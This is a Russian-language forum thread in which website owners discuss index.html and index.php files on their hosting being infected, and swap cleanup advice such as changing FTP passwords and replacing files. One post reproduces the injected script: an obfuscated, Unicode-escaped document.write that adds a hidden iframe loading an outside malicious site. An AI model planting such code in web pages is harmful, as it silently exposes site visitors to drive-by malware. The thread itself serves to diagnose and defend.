Вирусы, вирусы, вирусы:(

[DRIVER]

Всем привет. Вчера столкнулся с такой ситуацией, какой то вирус заразил на хостинге (на трех сайтах) файл INDEX.html. Самое странное то что остальные страницы без вирусов а именно главная. Кто то сталкивался с такой проблемой?

[lay]

Жесть!

В чем заключается "заражение"?

[jokero]

Сообщение от DRIVER

Всем привет. Вчера столкнулся с такой ситуацией, какой то вирус заразил на хостинге (на трех сайтах) файл INDEX.html. Самое странное то что остальные страницы без вирусов а именно главная. Кто то сталкивался с такой проблемой?

1.Что он делает изменяет код в странице?
2. Чуток разделом ошиблись (здесь задают вопросы по системе)

[DRIVER]

Сообщение от lay

Жесть!

В чем заключается "заражение"?

Оно заключаеться в том, что закачиваешь файл на сервер, через пару часиков заходишь в Оперу и вуаля, антивирус еаходит какую то дрянь
Вот щас думаю что делать?! Может подкажет кто то

Добавлено через 1 минуту

Сообщение от jokero

1.Что он делает изменяет код в странице?
2. Чуток разделом ошиблись (здесь задают вопросы по системе)

В том то и дело, что код страницы не изменяет.

[WebDigger]

1. Меняем пароли доступа по ФТП
2. Меняем зараженные файлы
3. Больше НЕ ПОЛЬЗУЕМСЯ не лецинзионным Тотал/Виндоус Командером для загрузки фалов по ФТП, а скачиваем Core FTP Lite и живем счастливо.

[DRIVER]

Сообщение от WebDigger

1. Меняем пароли доступа по ФТП
2. Меняем зараженные файлы
3. Больше НЕ ПОЛЬЗУЕМСЯ не лецинзионным Тотал/Виндоус Командером для загрузки фалов по ФТП, а скачиваем Core FTP Lite и живем счастливо.

А что Core FTP Lite лучше Turbo FTP ?

[Ank]

Сообщение от DRIVER

В том то и дело, что код страницы не изменяет.

И где тогда вирус? В просто хтмл - вирус так видно, глазами. Чай не винда... может не на сайте вирь?

[denrox47]

тож самое))) на всех сайтах в index.html и index.php в самом конце нашел вод такой код
script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u00 6d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068 \u0074\u0074\u0070\u003a\u002f\u002f\u0072\u0075\u 006f\u006f\u002e\u0069\u006e\u0066\u006f\u002f\u00 30\u0033\u0030\u0036\u002f\u0069\u006e\u0064\u0065 \u0078\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u 0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u00 65\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073 \u0074\u0079\u006c\u0065\u003d\u0022\u0076\u0069\u 0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u00 3a\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0070 \u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u 0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u00 22\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d \u0065\u003e');
</script
в этом скрипте решил убрать "<" и ">" а то вдруг заражу наш форум)))
нашел его только вчера, на сайтах был где то с начала июня

[Ufaweb]

После прогонов аллсабом аналогично все файлы index.* на фтп с уровнем вложенности до 3-го, дописываются iframe'ом на сайт faina.cc вроде... Сам больше не гоняю по каталогам, пусть другие ловят зверье за 5 баксов

[FanToM 0T F_1M]

Это фреймы удаляй и живи красиво